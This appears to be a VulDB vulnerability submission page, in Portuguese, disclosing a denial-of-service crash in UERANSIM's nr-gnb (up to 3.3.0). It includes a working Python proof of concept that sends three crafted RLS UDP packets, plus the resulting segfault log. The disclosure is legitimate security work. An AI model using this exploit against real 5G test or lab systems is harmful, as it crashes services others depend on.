| Título | UERAMSIM UERANSIM nr-gnb <=3.3.0 Denial-of-Servic |
|---|
| Descrição | The vulnerability is caused using a series of RLS message, which includes two RLS heartbeat message and a ULInformationTransfer message, the nr-gnb crashes after receiving the last message. The attacker can launch a remote attack using this RLS message sequence and cause Denial-of-Service of nr-gnb.
Poc:
i) Build and setup UERANSIM following the installation guide from the wiki (https://github.com/aligungr/UERANSIM/wiki/Installation).
ii) Execute the following python script.
import socket
import time
GNB_HOST = '127.0.0.1'
GNB_PORT = 4997
def poc(ip, port):
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
rls_heartbeat=bytes.fromhex('0303030004027248628e7e8e71000000000000000000000000')
rls_heartbeat2=bytes.fromhex('0303030004027248628e7e8e7109000000000000f600000000')
rls_packet1=bytes.fromhex('0303030006027248628e7e8e710100000000000000070000002138007f5f80105e400340403c4400000000040c951d820b813c3c3c3c0bc0804040')
try:
udp_socket.sendto(rls_heartbeat, (ip, port))
print('RLS heartbeat sent successfully')
time.sleep(1)
udp_socket.sendto(rls_heartbeat2, (ip, port))
print('rls_heartbeat3 sent successfully')
time.sleep(1)
udp_socket.sendto(rls_packet1, (ip, port))
print('RLS Packet1 sent successfully')
except Exception as e:
print('Error:', e)
finally:
udp_socket.close()
if __name__ == '__main__':
poc(GNB_HOST, GNB_PORT)
iii) If successful, the nr-gnb will crash, the output of nr-gnb is like below:
UERANSIM v3.3.0
[2026-08-06 21:08:04.663] [sctp] [info] Trying to establish SCTP connection... (127.0.0.5:38412)
[2026-08-06 21:08:04.689] [sctp] [info] SCTP connection established (127.0.0.5:38412)
[2026-08-06 21:08:04.689] [sctp] [debug] SCTP association setup ascId[874106]
[2026-08-06 21:08:04.690] [ngap] [debug] Sending NG Setup Request
[2026-08-06 21:08:04.706] [ngap] [debug] NG Setup Response received
[2026-08-06 21:08:04.706] [ngap] [info] NG Setup procedure is successful
[2026-08-06 21:08:10.670] [rrc] [debug] UE[1] new signal detected
Segmentation fault |
|---|
| Fonte | ⚠️ https://gist.github.com/centauruszzz/c69a6bd152f45d9ca8db981f7da34bed |
|---|
| Utilizador | centauruszzz (UID 100408) |
|---|
| Submissão | 06/08/2026 15h47 (há 2 meses) |
|---|
| Moderação | 27/09/2026 10h11 (2 months later) |
|---|
| Estado | Aceite |
|---|
| Entrada VulDB | 410842 [aligungr UERANSIM até 3.3.0 nr-gnb src/gnb/rrc/handler.cpp ULInformationTransfer dedicatedNASMessage Excesso de tampão] |
|---|
| Pontos | 20 |
|---|